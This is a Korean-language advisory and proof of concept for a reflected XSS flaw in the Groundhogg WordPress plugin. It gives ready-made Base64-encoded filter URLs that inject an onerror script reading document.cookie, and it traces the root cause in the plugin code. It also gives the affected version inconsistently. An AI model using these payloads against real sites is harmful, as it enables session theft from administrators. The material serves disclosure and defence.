
Groundhogg WordPress 플러그인의 반사형 XSS 취약점에 대한 개념 증명 익스플로잇으로, 조작된 URL 매개변수를 통한 인증되지 않은 스크립트 주입을 시연합니다.
WordPress 플러그인
구성 요소 이름 WordPress CRM, Email & Marketing Automation for WordPress | Award Winner — Groundhogg
취약한 버전 <= 3.7.3.2
구성 요소 슬러그 groundhogg
구성 요소 링크 https://wordpress.org/plugins/groundhogg/
취약점 클래스 A3: 인젝션
취약점 유형 크로스 사이트 스크립팅 (XSS)
인증되지 않음
Groundhogg 플러그인 버전 3.7.3.3 이하에는 URL 매개변수에 대한 불충분한 입력 검증 및 이스케이프 처리로 인한 반사형 크로스 사이트 스크립팅 취약점이 존재합니다. 이 취약점은 플러그인 대시보드의 '연락처(Contacts)', '퍼널(Funnels)', '로그(Logs)' 메뉴에서 검색 필터링 기능을 사용할 때 발생합니다.
이 취약점을 통해 인증되지 않은 사용자는 악성 스크립트가 포함된 URL을 생성할 수 있으며, 다른 사용자가 이 URL에 접근하면 해당 사용자의 브라우저에서 스크립트가 실행되어 쿠키 정보 유출로 이어질 수 있습니다. 특히 관리자 권한을 가진 사용자의 세션을 탈취하는 데 악용될 수 있어 심각한 보안 위험을 초래합니다.
'Groundhogg' 플러그인 <=3.7.3.2가 활성화된 WordPress 사이트를 준비합니다.
이 플러그인은 REST API를 사용하므로, 고유주소(Permalink)가
글 이름(Post name)으로 설정되어 있어야 합니다.
그런 다음 아래 각 메뉴의 링크에 접근하면 반사형 XSS 취약점이 트리거됩니다.
연락처 메뉴(/wp-admin/admin.php?page=gh_contacts)
http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0

퍼널 메뉴(/wp-admin/admin.php?page=gh_funnels)
이 메뉴에서 XSS 취약점을 재현하려면 최소 1개의 퍼널(Funnel)이 존재해야 합니다.
http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d

로그 메뉴(/admin.php?page=gh_events)
http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ

Groundhogg 플러그인 대시보드의 '연락처(Contacts)', '퍼널(Funnels)', '로그(Logs)' 메뉴에서 필터링 검색을 수행할 때, 필터링 설정은 URL 매개변수로 전달되기 전에 Base64로 인코딩됩니다.
예를 들어, '연락처' 메뉴에서 '이름(First Name)'이 'Test'로 설정된 필터링 검색을 설정하면, URL 매개변수 filters는 다음 데이터를 수신합니다:
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

URL 매개변수 filters에 입력된 값을 Base64 디코딩하면 다음 데이터를 확인할 수 있습니다.
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

필터링 검색이 요청되면 /wp-content/plugins/groundhogg/admin/contacts/contacts-page.php 파일에 있는 Contacts_Page 클래스의 scripts 함수가 실행됩니다.
이 시점에서 Base64로 인코딩된 URL 매개변수 filters가 디코딩되어 HTTP 응답의 Javascript 영역에 있는 ContactSearch 변수로 전달됩니다.

따라서 HTTP 응답 데이터에서 URL 매개변수 filters로 전달된 Base64 인코딩 데이터가 디코딩된 후 전달되는 것을 확인할 수 있습니다.

그 후, 디코딩된 데이터는 JavaScript 로직을 통해 필터링 검색 결과를 표시하는 DOM 요소에 직접 삽입됩니다.

이를 통해 PoC에 입력된 필터링 검색어(<img src="x" onerror="alert(document.cookie)">)는 이스케이프 처리 없이 Javascript 코드의 변수로 전달되어 클라이언트 로직에 의해 DOM 요소에 삽입 및 실행됩니다.


결과적으로, 필터링 검색 데이터에 대한 불충분한 이스케이프 처리로 인해 악성 스크립트가 포함된 값이 직접 실행될 수 있으며, 이 취약점은 '연락처(Contacts)', '퍼널(Funnels)', '로그(Logs)' 모든 메뉴에서 동일한 방식으로 발생합니다.